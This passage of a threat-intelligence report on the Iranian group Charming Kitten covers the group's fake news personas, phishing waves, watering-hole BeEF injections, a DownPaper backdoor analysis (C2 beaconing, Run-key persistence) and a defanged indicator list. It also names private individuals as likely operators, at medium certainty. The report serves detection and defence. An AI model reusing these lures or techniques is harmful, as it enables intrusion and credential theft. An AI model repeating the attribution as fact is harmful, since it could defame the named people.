Thanks to the public nature of how Mesri and other members of Turk Black Hat conducted their hacking activities and private online life, we could find several connections.
This is not to say that the HBO hack was ordered by the Iranian government.
Rather, we try to strengthen the assumption that Mesri was, at a certain time, part of, or related to Charming Kitten.
In addition, we unmask other members of the group based on their connection to Mesri and to Charming Kitten infrastructure.
From Mesri to Charming Kitten ArYaIeIrAN (AKA aryaieirangmail.com AKA aryaieiranhotmail.com AKA mno_1988_fghyahoo.com) is a 29 years old Iranian hacker and member of Turk Black Hat.
Below is his profile page in Iranian engineers club10: 10 http://www.iran-eng.ir/member.php/77662-ArYaiEiRan?langid1 Page 7 of 59 All rights reserved to ClearSky Cyber Security, 2017 A list of websites he defaced, listed on Zone-H11: And a mirror page of a defacement he made in 2012, showing some of his team members and email address: 11 http://www.zone-h.org/archive/notifierArYaIeIrAn Page 8 of 59 All rights reserved to ClearSky Cyber Security, 2017 The same email address, aryaieirangmail.com, shows up in the SOA (Start of Authority) record of multiple domains registered and used by Charming Kittens that are presented in this report.
These include britishnews.com[.
]co, britishnews[.
]org, broadcastbritishnews[.
]com and mehrnews[.
]info.
All these websites used persiandns[.
]net as their NS (name server), as can be seen in PassiveTotal12 13: 12 https://community.riskiq.com/search/britishnews.org 13 https://community.riskiq.com/search/britishnews.com.co https://community.riskiq.com/search/britishnews.org https://community.riskiq.com/search/britishnews.com.co Page 9 of 59 All rights reserved to ClearSky Cyber Security, 2017 aryaieirangmail.com also registered persiandns[.
]net, potentially indicating that he is the administrator of the services and an employee in the company: In a defacement, still online at the time of writing, both ArYaIeIrAn and Skote_Vahshat, the HBO hacker, take credit as members of Turk Black Hat.
This indicates that both were members of Turk Black Hat at the same time, and likely knew each other.
Page 10 of 59 All rights reserved to ClearSky Cyber Security, 2017 persiandns[.
]net hosting services, which hosted malicious domains used by charming kitten, redirects to mahanserver[.
]ir, indicating it is the same company: The about page ( ) of mahanserver[.
]ir leads to a 404 error page: Page 11 of 59 All rights reserved to ClearSky Cyber Security, 2017 The CEO of mahanserver[.
]ir is Mohammad Rasoul Akbari (A.K.A ra3ou1), likely the boss or partner of ArYaIeIrA: Page 12 of 59 All rights reserved to ClearSky Cyber Security, 2017 The two follow each other on twitter: Akbari is a Facebook friend of the HBO hacker, Behzad Mesri 14.
14 https://www.facebook.com/friendship/sk0te.vahshat/ra3ou1/ https://www.facebook.com/friendship/sk0te.vahshat/ra3ou1/ Page 13 of 59 All rights reserved to ClearSky Cyber Security, 2017 On Linkedin, MahanServer only has two employees: CEO Mohammad Rasoul Akbari and Mohammadamin Keshvari: Interestingly, Mohammadamin Keshvaris profile picture is a pomegranate, like that of ArYaIeIrANs twitter account15: 15 https://twitter.com/aryaieiran https://twitter.com/aryaieiran Page 14 of 59 All rights reserved to ClearSky Cyber Security, 2017 Moreover, Mohammadamin Keshvari mentions in his LinkedIn profile that he works at ARia Dc (ariadc[.
]com, ariadc[.
]net) which was registered by aryaieirangmail.com for three days in 2013 before changing to a generic email16: ARia Dc later turned into MahanServer, as can be seen in Waybac Machine: 16 Data from DomainTools whois history.
Page 15 of 59 All rights reserved to ClearSky Cyber Security, 2017 To sum up, the HBO hacker - Behzad Mesri is a member of Turk Black Hat along with ArYaIeIrAn, who provides infrastructure for Charming Kitten activity via PersianDNS / Mahanserver together with Mohammad Rasoul Akbari, who is a Facebook friend of Behzad Mesris.
We tend to identify ArYaIeIrAn with Mohammadamin Keshvari, because the latter is the only other employee of Mahanserver and works in a company whose domain was registered by the former (and both have a similar and unique profile picture).
We estimate with medium certainty that the three are directly connected to Charming Kitten, and potentially, along with others  are Charming Kitten.
We used SocialNet, Shadow Dragons Maltego transform for social media analysis17 to analyze these connections and visually depict them, as can be seen below: 17 https://shadowdragon.io/product/socialnet https://shadowdragon.io/product/socialnet Page 16 of 59 All rights reserved to ClearSky Cyber Security, 2017 Delivery and Infection Charming Kitten attack their targets using the following methods: Made up organizations and people  entities are made up to lure people into malicious websites or to receive malicious messages.
Impersonating real companies  real companies are impersonated, making victims believe they are communicating or visiting the website of the real companies.
Watering hole attacks  inserting malicious JavaScript code into breached strategic websites.
Spear phishing  pretending to be Gmail, Facebook, and other services providers, or pretending to be a friend of the target sharing a file or a link.
These methods are elaborated below.
Made up organizations and people British News Charming kitten regularly target international media outlets with Persian-language services.
Two recent reports  How Iran tries to control news coverage by foreign-based journalists18 and Iranian agents blackmailed BBC reporter with naked photo threats19 describe harassment and intimidation methods applied by Iranian intelligence agencies.
These campaigns often target reporters and journalists in phishing attempts.
On the same note, we identified a fake-news agency established by the attackers, called The British news agency or Britishnews (inspired by BBC)20.
Its website domain is britishnews.com[.
]co and two other domains, broadcastbritishnews[.
]com and britishnews[.
]org, redirected to it.
Below are screenshots of the main page of the website, which is online at time of writing: 18 https://rsf.org/en/news/how-iran-tries-control-news-coverage-foreign-based-journalists 19 http://www.arabnews.com/node/1195681/media 20 Outed in collaboration with Forbs On Jan 2017, see With Fake News And Femmes Fatales, Irans Spies Learn To Love Facebook forbes.com/sites/thomasbrewster/2017/07/27/iran-hackers-oilrig-use-fake-personas-on-facebook-linkedin-for- cyberespionage https://rsf.org/en/news/how-iran-tries-control-news-coverage-foreign-based-journalists http://www.arabnews.com/node/1195681/media https://www.forbes.com/sites/thomasbrewster/2017/07/27/iran-hackers-oilrig-use-fake-personas-on-facebook-linkedin-for-cyberespionage https://www.forbes.com/sites/thomasbrewster/2017/07/27/iran-hackers-oilrig-use-fake-personas-on-facebook-linkedin-for-cyberespionage https://www.forbes.com/sites/thomasbrewster/2017/07/27/iran-hackers-oilrig-use-fake-personas-on-facebook-linkedin-for-cyberespionage Page 17 of 59 All rights reserved to ClearSky Cyber Security, 2017 Below is a screenshot from the about page of the fake news agency website, detailing its objectives and giving the email addresses of various employees: Page 18 of 59 All rights reserved to ClearSky Cyber Security, 2017 Note the use of present perfect instead of past simple in has been established (instead of was established), present progressive (we are covering) instead of present simple (we cover) to mark a habitual aspect, and began this work  all suggesting a Persian-thinking writer.
This fake news-agency and accompanying social media accounts are not used to disseminate propaganda or false information.
Their content was automatically copied from legitimate sources.
The purpose of this news agency is to create legitimacy, with the end goal of reaching out to their targets and infecting them while visiting the infected website.
The website contains BeEF (Browser Exploitation Framework  a penetration testing tool that focuses on web browsers), however it seems that the payload is sent only when the victim visits the site from IPs in a whitelist managed by the attackers.
This might indicate they are after specific targets or organizations rather than widespread infection.
The screenshot below shows w3school.hopto[.
]org, which served BeEF, called when britishnews.com[.
]co is loading: Page 19 of 59 All rights reserved to ClearSky Cyber Security, 2017 Page 20 of 59 All rights reserved to ClearSky Cyber Security, 2017 At the bottom of the site are links to social media accounts created by the attackers: Below are screenshots of the accounts.
Instagram, Instagram[.
]com/britishnewslive with over 13,000 followers (unavailable for several months): Page 21 of 59 All rights reserved to ClearSky Cyber Security, 2017 Twitter, https://twitter[.
]com/britishnewslive (online at time of writing): Facebook page - facebook[.
]com/officialbritishnewslive (unavailable for several months): Page 22 of 59 All rights reserved to ClearSky Cyber Security, 2017 LinkedIn company page, linkedin[.
]com/company/britishnews (unavailable for several months): The attackers also created a fake LinkedIn profile, Isabella Carey, that worked at the fake news company: linkedin[.
]com/in/isabella-carey-98a42a129 (unavailable for several months): Page 23 of 59 All rights reserved to ClearSky Cyber Security, 2017 An email address with the same name, isabella.careyygmail.com, was used to register 12 malicious domains by Charming Kitten, as can be seen in PassiveTotal21: 21 https://community.riskiq.com/search/whois/email/isabella.careyygmail.com https://community.riskiq.com/search/whois/email/isabella.careyygmail.com Page 24 of 59 All rights reserved to ClearSky Cyber Security, 2017 Made up studens and jurnalists Multiple Israeli Iranist and middle east researchers were sent emails and Twitter direct messages by made up entities.
These entities are reviewed below.
Zehavit Yehuda One of the fake entities is KNBC News journalist Zehavit Yehuda, who sent the following phishing email: The email links to a website, https://sites.google[.
]com/view/docs-downloads, which was built with Google Sites: Page 25 of 59 All rights reserved to ClearSky Cyber Security, 2017 The Download button is a redirection link: http://www.google[.
]com/url?qhttp3A2F2Fdownload-google.com- orginallinks.ga2Fdownload2Ffile2FusrredactedsaDsntz1usgredacted Which leads to a fake log-in page in a domain registered by the attackers: http://download-google.com-orginal-links[.
]ga/download/file/usr/redacted Yafa Hyat Fake entity Yafa Hyat (yafa1985hyat, online at time of writing) has contacted an Israeli Iranist via a direct message on twitter, pretending to be a political researcher who needs help with an article: Page 26 of 59 All rights reserved to ClearSky Cyber Security, 2017 The researcher was asked to read the article in her google account, which was also a phishing page in Google sites: https://sites.google[.
]com/site/yaffadocuments/ : Page 27 of 59 All rights reserved to ClearSky Cyber Security, 2017 The site automatically redirects to a phishing website hosted in a domain registered by the attackers, download- google.orginal-links[.
]com: Yafa also sent an email from yaffa.hyatt9617gmail.com to a university professor, asking to work at the university center she is heading.
The email itself did not contain malicious content, and was likely sent to build trust prior to sending a phishing link or malware: Page 28 of 59 All rights reserved to ClearSky Cyber Security, 2017 Bahar Azadeh Fake entity Bahar Azadeh (bahra.azadeh88gmail.com and baharazadeh122, online at time of writing) sent emails with different background stories to multiple researchers.
In two cases, she was a Jewish girl who has an Iranian origin and who has studied in the field of political science: 22 https://twitter.com/baharazadeh1 https://twitter.com/baharazadeh1 Page 29 of 59 All rights reserved to ClearSky Cyber Security, 2017 Yet in a third case she claimed to be Bahai living in Tehran: Translation: Hello, Mr. Dr., I am a Bahai living in Tehran, if you can call it a life.
As you know, the present situation in Iran for us Bahais is not good at all, so that we are even deprived of our natural right, that is, higher education, as if we Bahais are not human and have no right to live.
redacted, I have been accepted to universities all across Iran, and after two years of studying in a university, they realized from certain sources that I was Bahai, and expelled me.
I did not sit idle and began to constantly protest, Ive been summoned [to court] quite a few times for this thing, and I already feel Iran has become a hell for me, and as much as I try I cant find salvation from this hell.
One of the reasons Ive asked you for help and guidance was reading your book (redacted), and your research in this field has been really valuable and helpful, which made this book so beautiful.
I have a few questions for you, please answer me.
The entities email address is connected to a fake Facebook entity called Emilia Karter (online at time of writing): Page 30 of 59 All rights reserved to ClearSky Cyber Security, 2017 Impersonating real companies United Technologies impersonation The attackers created a website impersonating UTC (United Technologies), an American multinational conglomerate which researches, develops and manufactures products in numerous areas, including aircraft engines, [and] aerospace systems [].
UTC is a large military contractor, getting about 10 of its revenue from the U.S. government23.
The fake website was first reported by Iran Threats researchers on 6 February 201724.
We do not have evidence that UTC was targeted or impacted.
The fake website, which was built in January 2017, claimed to offer Free Special Programs And Courses For Employees Of Aerospace Companies like Lockheed Martin, SNCORP, ..
It was a decoy to make visitor download a Flash Player, which was in fact DownPaper malware, analyzed later in this report.
23 https://en.wikipedia.org/wiki/United_Technologies 24 https://iranthreats.github.io/resources/macdownloader-macos-malware/ https://en.wikipedia.org/wiki/United_Technologies https://iranthreats.github.io/resources/macdownloader-macos-malware/ Page 31 of 59 All rights reserved to ClearSky Cyber Security, 2017 The malware was served from the following location: http://login.radio-m[.
]cf/utc/dnld.exe It was contained in a cabinet self-extractor that impersonates a legitimate Windows software: dnld.exe be207941ce8a5e212be8dde83d05d38d 3b4926014b9cc028d5fb9d47fee3dbd9376525dcb3b6e2173c5edb22494cfa9b Page 32 of 59 All rights reserved to ClearSky Cyber Security, 2017 Watering holes The attackers breached the following websites pertaining to Iranian and Jewish cultural affairs: Breached website Description hamijoo[.
]com   An Iranian crowdfunding platform www.jewishjournal[.
]com A Jewish news site www.estherk[.
]com A personal blog of one of JewishJournals writers www.boloogh[.
]com A sex education website for Iranian youth levazand[.
]com A personal blog of an Iranian living in United sates A script tag that loads BeEF JavaScript from w3school.hopto[.
]org or from bootstrap.serveftp[.
]com was added, as can be seen in the images below: Page 33 of 59 All rights reserved to ClearSky Cyber Security, 2017 Page 34 of 59 All rights reserved to ClearSky Cyber Security, 2017 Spear Phishing for credential stealing The attackers sent hundreds, maybe thousands, of spear phishing emails to hundreds of targets.
In this section, we will present samples of spear phishing emails25.
Wave 1 The attackers breached the Gmail account of Alon Gur Arye, an Israeli film producer.
Alon produced a satire film about the Israeli Mossad, which potentially confused the attackers to thinking he is associated with the Israeli Mossad.
The breached account was used to send a phishing email to Thamar Eilam Gindin (who is targeted by the group since 201526).
Below is a screenshot of the phishing email: The email contained a shortened bit.ly link to a domain registered by the attackers - drivers.document- supportsharing[.
]bid.
In the statistics and usage page of the bit.ly URL we can see that the first click, likely a test run performed by the attackers before sending the phish, was from Iran.
25 Names of victims and targets are shared with their permission.
26 See , Thamar Reservoir: http://www.clearskysec.com/thamar-reservoir/ http://www.clearskysec.com/thamar-reservoir/ Page 35 of 59 All rights reserved to ClearSky Cyber Security, 2017 The phishing page pretends to be a Gmail shared document downed page that requires the visitor to log in: Page 36 of 59 All rights reserved to ClearSky Cyber Security, 2017 Wave 2 Sometimes the phishing email does not contain live text, but only an image of text linked to a phishing page.
This is usually done to bypass text based spam filters.
The attackers used WebRTC (code copied from Github27) to detect the real IP address of targets who use proxies (This method was documented by Iran Threats28): While sending the spear phishing, the attackers preformed password recovery on the targets Facebook account, as can be seen below.
Thus, she received fake emails and legitimate ones at the same time which could cause her confusion and subsequently to give her credentials in the phishing.
27 https://github.com/diafygi/webrtc-ips/blob/master/README.md 28 https://iranthreats.github.io/resources/webrtc-deanonymization/ https://github.com/diafygi/webrtc-ips/blob/master/README.md https://github.com/diafygi/webrtc-ips/blob/master/README.md https://iranthreats.github.io/resources/webrtc-deanonymization/ Page 37 of 59 All rights reserved to ClearSky Cyber Security, 2017 Wave 3 The attackers often open a new Gmail account and send phishing emails from it.
For example, suspended.user.noitificationgmail.com was used to send the following email to targets: Which leads to: Page 38 of 59 All rights reserved to ClearSky Cyber Security, 2017 In other cases, 7 different targeted phishing emails were sent to the same victim on the same day from customers.mailservicegmail.com: Page 39 of 59 All rights reserved to ClearSky Cyber Security, 2017 Page 40 of 59 All rights reserved to ClearSky Cyber Security, 2017 The phishing messages were sent to hundreds of recipients from a previously unknown email address: mails.customerservicesgmail.com They contained a link to goo-gle[.
]mobi Below are screen captures of two of the messages.
The content is not copied directly from Googles original notices, as evident from the spelling and grammatical errors, some of them typical of Persian speakers, e.g.
using direct speech where English would use indirect speech (that instead of whether): Page 41 of 59 All rights reserved to ClearSky Cyber Security, 2017 Hamed Hashemi, an Iranian Independent researcher and photographer living in the Netherlands was targeted in this campaign.
He detected the malicious emails and wrote about them in his twitter account29 30: Translation: The brothers31 new method for hacking e-mails.
Do not be fooled by such an email.
29 https://twitter.com/hamed_hashemi/status/869835075550162944 30 https://twitter.com/hamed_hashemi/status/869865703939219456 31 I.e.
people working for the IRI.
https://twitter.com/hamed_hashemi/status/869835075550162944 https://twitter.com/hamed_hashemi/status/869865703939219456 Page 42 of 59 All rights reserved to ClearSky Cyber Security, 2017 Translation: Ramezn (The month of Ramadan) operation continues.
Other reported receiving 6 spear phishing emails within a few minutes.
For example, Soudeh Rad32 board member at ILGAEurope33 (an organization for human rights and equality for lesbian, gay, bisexual, trans and intersex people at European level): Translation: Whats the most important thing to do when youre under a phishing attack?
Keep your calm 6 e-mails arrived within 10 minutes (saying) someone signed into your email (account), confirm your account.
32 https://twitter.com/soudehrad/status/876062478685396992 33 https://twitter.com/ILGAEurope https://twitter.com/soudehrad/status/876062478685396992 https://twitter.com/ILGAEurope Page 43 of 59 All rights reserved to ClearSky Cyber Security, 2017 Behrang Tajdin34 a BBC Persian TV Reporter said35 36  he was targeted in a similar campaign in April 2017: Translation: If you get an email like this, dont fall for it and dont click.
Its nothing but a useless phishing attempt to hack your google and Gmail account.
34 https://twitter.com/Behrang 35 https://twitter.com/Behrang/status/855761991117484032 https://twitter.com/Behrang https://twitter.com/Behrang/status/855761991117484032 Page 44 of 59 All rights reserved to ClearSky Cyber Security, 2017 Translation: And if you click on the link but dont type your password, they send you another email.
Dont fall for if you wait you regret Page 45 of 59 All rights reserved to ClearSky Cyber Security, 2017 Email tracking services The attackers often use mailtrack.io to track when phishing emails are opened.
These services are often used by marketing people to monitor their campaign effectiveness.
Below is the source code of a spear phishing email with a mailtrack.io tracking link: Sometimes the attackers used a similar email tracking service, by Pointofmail.
In this case, the malicious email was sent from Pointofmails servers (this is part of their service, not due to a breach).
The email contained a redirect link to legitimate address advmailservice.com: Which redirects several times, eventually reaching the malicious page: Page 46 of 59 All rights reserved to ClearSky Cyber Security, 2017 Targeted emails with malware Email address customers.mailservicegmail.com was mostly used for spear phishing.
Occasionally, it was used to deliver links to malware.
For example, the email below linked to http://tinyurl[.
]com/hjtaeak which redirected to http://login.radio-m[.
[cf/i/10-unique-chocolates-in-the-world.zip.
The final URL contained the same sample of DownPaper that was hosted in the fake UTC website mentioned above (be207941ce8a5e212be8dde83d05d38d).
Note, that the person who shared the file with the target in the malicious email was indeed a Facebook friend of the target (the target shared a link by her a few hours prior to receiving this message), and the subject of chocolate was trending on the targets feed at the time.
The attackers spied on the target (potentially by following her on various social networks), and crafted an email she would be likely to receive.
Page 47 of 59 All rights reserved to ClearSky Cyber Security, 2017 DownPaper Malware DownPaper, sometimes delivered as sami.exe, is a Backdoor trojan.
Its main functionality is to download and run a second stage.
The sample used in our analysis (3261d45051542ab3e54fa541f132f899) was contained in a Cabinet self- extractor (be207941ce8a5e212be8dde83d05d38d), served from the following URL: http://login.radio-m[.
]cf/utc/dnld.exe The process tree below shows dnld.exe drops sami.exe (DownPaper), which in turn runs Powershell to gain persistency: DownPaper performs the following steps: 1.
Loads from a resource file a URL of a command and control server.
In the sample we analyzed, the URL was http://46.17.97[.
]37/downloader/poster.php, Base64 encoded as can be seen below: 2.
Searches and reads the value of Window Update registry key in the following path: HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run.
a.
If the value is Null, a new mutex is created, called Global\UpdateCenter, and a mutex synchronization function is executed.
b.
If the value is different than the name of the running file, section 2.a.
is executed and a function called SetStartUp is called via PowerShell to create a registry key named Window Update with the following value: Page 48 of 59 All rights reserved to ClearSky Cyber Security, 2017 scriptRoot\AppData\Local\Microsoft\Windows\wuauclt.exe 3.
Sends an HTTP POST request to get the location of a second stage from the command and control server.
The requests contain the following fields: a.
Infected computer host name b. Username c. Serial Number  Retrieved via the following query: SELECT  FROM Win32_BaseBoard 4.
When a file is received, runs it in a new thread.
5.
Pause for ten seconds, then repeat step 3.
Locations C:\Users\user1\AppData\Local\Temp\IXP000.TMP\sami.exe C:\Users\user1\AppData\Local\Microsoft\Windows\wuauclt.exe Assembly Details: PDB path: d:\Task\D\Task\FUD\DownPaper\trunk\Downloader\obj\Debug\wuauclt.pdb Page 49 of 59 All rights reserved to ClearSky Cyber Security, 2017 Additional samples wuauclt.exe d6ea39e1d4aaa8c977a835e72d0975e3 msoffice-update[.
]com 93.158.215.50 http://msoffice-update[.
]com/gallery/help.php C:\Users\user1\AppData\Local\Temp\IXP000.TMP\sami.exe key: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Window Update data: C:\Users\user1\AppData\Local\Microsoft\Windows\wuauclt.exe 10 unique chocolates in the world.exe be207941ce8a5e212be8dde83d05d38d 3b4926014b9cc028d5fb9d47fee3dbd9376525dcb3b6e2173c5edb22494cfa9b sami.exe 3261d45051542ab3e54fa541f132f899 479e1e02d379ad6c3c7f496d705448fa955b50a1 C:\Users\user1\AppData\Local\Temp\IXP000.TMP\sami.exe C:\Users\user1\AppData\Local\Microsoft\Windows\wuauclt.exe 20f2da7b0c482ab6a78e9bd65a1a3a92 http://msoffice-update[.
]com/gallery/help.php d:\Task\D\Task\FUD\DownPaper\trunk\Downloader\obj\Debug\wuauclt.pdb ax haye ayin.exe 276befa70cff36860cd97e3e19f10343 753b73b82ec8307f54cfb80091600fb283476aa6df7102d6af82048ef4a5913f 5.79.69[.
]206:4455 pita.exe 60753796905458fa6a4407f48309aa25 53f7b95262971d79e676055d239180d653fd838dc6ffb9a3418ccad2b66c54bc C:\Users\user1\AppData\Local\Temp\IXP000.TMP\pita.exe aziii.exe 3c01793380fbd3f101603af68e96f058 13ac10cd2595fb8fefd4e15c1b82bd2c8e1953809f0d1c349641997aeb9f935c Azita Gallery.exe 30124b5c56cecf2045abd24011bdf06b 9aa7fc0835e75cbf7aadde824c484d7dc53fdc308a706c9645878bbd6f5d3ad8 http://msoffice-update/ Page 50 of 59 All rights reserved to ClearSky Cyber Security, 2017 MAGICHOUND.RETRIEVER By pivoting off the malicious infrastructure we found a sample of MAGICHOUND.RETRIEVER, a malware which is covered in a report by Palo Alto Networks about a group they call Magic Hound37.
The report says that Magic Hound has primarily targeted organizations in the energy, government, and technology sectors that are either based or have business interests in Saudi Arabia.
Also, Link analysis of infrastructure and tools [] revealed a potential relationship between Magic Hound and the adversary group called Rocket Kitten.
The last notion is in line with our findings.
MAGICHOUND.RETRIEVER is a .NET downloader that retrieves secondary payloads using an embedded URL in its configuration as the C2.
Below is the sample that we found.
flashplayer.exe 9d0e761f3803889dc83c180901dc7b22 ecf9b7283fda023fa37ad7fdb15be4eadded4e06 d4375a22c0f3fb36ab788c0a9d6e0479bd19f48349f6e192b10d83047a74c9d7 http://update-microsoft[.
]bid/img/WebService.asmx http://update-driversonline[.
]bid/img/WebService.asmx The connections between the sample and Charming Kittens infrastructure is depicted in the graph below: 37 https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/ https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/ Page 51 of 59 All rights reserved to ClearSky Cyber Security, 2017 Appendix A - Indicators of Compromise 012mail-net-uwclogin[.
]ml 443[.]tcp[.]shorturlbot[.
]club 874511478[.]account-login[.
]net 8ghefkwdvbfdsg3asdf1[.
]com account-customerservice[.
]com account-dropbox[.
]net account-google[.
]co account-login[.
]net account-logins[.
]com account-log-user-verify-mail[.
]com account-permission-mail-user[.
]com accounts[.]account-google[.
]co accounts[.]activities[.]devices[.]com[.]accounts[.
]a ctivities[.]devices[.]com[.]usersettings[.
]cf accounts[.]activities[.]devices[.]com[.]accounts[.
]g oogle[.]com[.]usersettings[.
]cf accounts[.]activities[.]devices[.]com[.]drive[.
]goog le[.]com[.]usersettings[.
]cf accounts[.]activities[.]devices[.]com[.
]usersettings [.
]cf accounts[.]google[.]com[.]accounts[.]activities[.
]d evices[.]com[.]usersettings[.
]cf accounts[.]google[.]com[.]accounts[.]google[.
]com [.]usersettings[.
]cf accounts[.]google[.]com[.]drive[.]google[.]com[.
]u sersettings[.
]cf accounts[.]google[.]com[.]usersettings[.
]cf accountservice[.
]support account-servicerecovery[.
]com accounts-googelmail[.
]com accounts-googelmails[.
]com account-signin-myaccount-users[.
]ga accounts-logins[.
]net accountsrecovery[.]ddns[.
]net accounts-service[.
]support accountsservice-support[.
]com account-support-user[.
]com accounts-yahoo[.
]us accountts-google[.
]com account-user[.
]com account-user-permission-account[.
]com account-users-mail[.
]com account-user-verify-mail[.
]com acounts-qooqie-con[.
]ml addons-mozilla[.
]download ae[.]ae[.]asus-support[.
]net ae[.]asus-support[.
]net ae[.]bocaiwang[.]asus-support[.
]net ae[.]client[.]asus-support[.
]net aipak[.
]org aiqac[.
]org aol-mail-account[.
]com apache-utility[.
]com api[.]com-service[.
]net app-documents[.
]com app-facebook[.
]co appleid[.]apple[.]com[.]account-logins[.
]com araamco[.
]com araamco[.
]com archive-center[.
]com asus-support[.
]net asus-update[.
]com berozkhodro[.
]com blog[.]group-google[.
]com bocaiwang[.]ae[.]asus-support[.
]net bocaiwang[.]asus-support[.
]net bocaiwang[.]bocaiwang[.]asus-support[.
]net bocaiwang[.]client[.]asus-support[.
]net book-archivecenter[.
]bid books-archivecenter[.
]bid books-archivecenter[.
]club books-google[.]accountservice[.
]support books-google[.]books-archivecenter[.
]bid books-google[.]www[.]books-archivecenter[.
]bid books-view[.
]com bootstrap[.]serveftp[.
]com britishnews[.]com[.
]co britishnews[.
]org broadcastbritishnews[.
]com brookings-edu[.
]in change-mail-accounting-register-single[.
]com change-mail-account-nodes-permision[.
]com change-permission-mail-user-managment[.
]com change-user-account-mail-permission[.
]com client[.]ae[.]asus-support[.
]net client[.]asus-support[.
]net client[.]bocaiwang[.]asus-support[.
]net client[.]client[.]asus-support[.
]net codeconfirm-recovery[.
]bid codeconfirm-recovery[.
]club com-account-login[.
]com com-accountrecovery[.
]bid com-accountsecure-recovery[.
]name com-accountsrecovery[.
]name com-archivecenter[.
]work com-customeradduser[.
]bid com-customerservice[.
]bid com-customerservice[.
]name com-customerservices[.
]name com-customersuperuser[.
]bid Page 52 of 59 All rights reserved to ClearSky Cyber Security, 2017 com-download[.
]ml com-manage-accountuser[.
]club com-messagecenter[.
]bid com-messengerservice[.
]bid com-messengerservice[.
]work com-microsoftonline[.
]club com-mychannel[.
]bid com-orginal-links[.
]ga com-recoversessions[.
]bid com-recovery[.
]com com-recoveryadduser[.
]bid com-recoveryidentifier[.
]bid com-recoveryidentifier[.
]name com-recoveryidentifiers[.
]bid com-recoverymail[.
]bid com-recoverysecureuser[.
]club com-recoverysecureusers[.
]club com-recoveryservice[.
]bid com-recoveryservice[.
]info com-recoverysessions[.
]bid com-recoverysubusers[.
]bid com-recoverysuperuser[.
]bid com-recoverysuperuser[.
]club com-recoverysuperuser[.
]name com-recoverysuperusers[.
]bid com-recoverysupport[.
]bid com-recoverysupport[.
]club com-service[.
]net com-servicecustomer[.
]bid com-servicecustomer[.
]name com-servicemail[.
]bid com-servicerecovery[.
]bid com-servicerecovery[.
]club com-servicerecovery[.
]info com-servicerecovery[.
]name com-servicescustomer[.
]name com-serviceslogin[.
]com com-showvideo[.
]gq com-statistics[.
]com com-stats[.
]com com-video[.
]net com-videoservice[.
]work com-viewchannel[.
]club confirm-code[.]account-support-user[.
]com crcperss[.
]com cvcreate[.
]org digitalqlobe[.
]com display-error-runtime[.
]com display-ganavaro-abrashimchi[.
]com docs-google[.
]co documents[.]sytes[.
]net documents-supportsharing[.
]bid documents-supportsharing[.
]club document-supportsharing[.
]bid doc-viewer[.
]com download[.]account-login[.
]net download-google[.]com-orginal-links[.
]ga download-google[.]orginal-links[.
]com download-link[.
]top drive[.
]change-mail-account-nodes- permision[.
]com drive[.]google[.]com[.]accounts[.]activities[.
]devic es[.]com[.]usersettings[.
]cf drive[.]google[.]com[.]accounts[.]google[.]com[.
]u sersettings[.
]cf drive[.]google[.]com[.]drive[.]google[.]com[.
]users ettings[.
]cf drive[.]google[.]com[.]usersettings[.
]cf drive[.]privacy-yahoomail[.
]com drive-download[.]account-support-user[.
]com drive-download[.
]account-user-permission- account[.
]com drive-file[.]account-support-user[.
]com drive-google[.
]co drive-login[.
]cf drive-mail[.]account-support-user[.
]com drive-permission-user-account[.
]com drivers[.]document-supportsharing[.
]bid drives-google[.
]co drives-google[.
]com drives-google[.]com[.
]co drive-useraccount-signin-mail[.
]ga dropbox[.]com-servicecustomer[.
]name dropbox[.]com-servicescustomer[.
]name drop-box[.
]vip dropebox[.
]co embraer[.
]co emiartas[.
]com error-exchange[.
]com eursaia[.
]org facebook[.]com-service[.
]gq facebook[.]notification-accountrecovery[.
]com fanderfart22[.
]xyz fardenfart2017[.
]xyz fb[.]com-download[.
]ml fb-login[.
]cf ftp[.]account-logins[.
]com ftp[.]account-permission-mail-user[.
]com ftp[.]accountservice[.
]support ftp[.]accountsservice-support[.
]com ftp[.]archive-center[.
]com ftp[.]britishnews[.]com[.
]co ftp[.]com-recoveryservice[.
]info ftp[.]com-service[.
]net ftp[.]goo-gle[.
]cloud ftp[.]goo-gle[.
]mobi Page 53 of 59 All rights reserved to ClearSky Cyber Security, 2017 ftp[.]microsoft-upgrade[.
]mobi ftp[.]news-onlines[.
]info ftp[.]officialswebsites[.
]info ftp[.]orginal-links[.
]com ftp[.]screen-royall-in-corporate[.
]com ftp[.]screen-shotuser-trash-green[.
]com ftp[.]sdfsd[.]screen-royall-in-corporate[.
]com ftp[.]service-broadcast[.
]com ftp[.]service-recoveryaccount[.
]com ftp[.
]set-ymail-user-account-permission- challenge[.
]com ftp[.]support-aasaam[.
]com ftp[.]support-recoverycustomers[.
]com ftp[.]uk-service[.
]org ftp[.]verify-account[.
]services ftp[.]w3schools-html[.
]com ftp[.]www[.]britishnews[.]com[.
]co ftp[.]www[.]screen-shotuser-trash-green[.
]com gle-mail[.
]com gmail[.]com-recoverymail[.
]bid gmail[.]com-u6[.]userlogin[.
]security- login[.]activity[.]com-verification-accounts[.
]com gmail-recovery[.
]ml gmal[.
]cf goog-le[.
]bid goo-gle[.
]bid goo-gle[.
]cloud google[.]mail[.]com-servicecustomer[.
]bid google[.]mail[.]mail[.]google[.
]com- servicecustomer[.
]bid google[.]mail[.]www[.]com-servicecustomer[.
]bid goo-gle[.
]mobi google-drive[.]account-servicerecovery[.
]com google-drive[.]accounts-service[.
]support google-drive[.]account-support-user[.
]com google-drive[.]com[.]accountservice[.
]support google-drive[.]service-recoveryaccount[.
]com google-hangout[.]accountservice[.
]support google-hangout[.]accounts-service[.
]support google-hangout[.]account-support-user[.
]com google-hangout[.]verify-account[.
]services google-mail[.]com[.
]co googlemail[.]com-customersuperuser[.
]bid google-mail-recovery[.
]com googlemails[.
]co google-profile[.
]com google-profiles[.
]com google-setting[.
]com google-verification[.
]com google-verify[.
]com google-verify[.
]net hangout[.]com-messagecenter[.
]bid hangout[.]messageservice[.
]club help-recovery[.
]com hot-mail[.
]ml hqr-mail[.]nioc-intl[.
]account-user-permission- account[.
]com id-bayan[.
]com iforget-memail-user-account[.
]com iranianuknews[.
]com ir-owa-accountservice[.
]bid itunes-id-account[.]users-login[.
]com k2intelliqence[.
]com k2intelliqence[.
]com komputertipstrik[.]com-customeradduser[.
]bid line-en[.
]me log[.]account[.]accountservice[.
]support login[.]com-service[.
]net login[.]radio-m[.
]cf login-account[.
]net login-account-google[.]orginal-links[.
]com login-account-mail[.
]com login-again[.
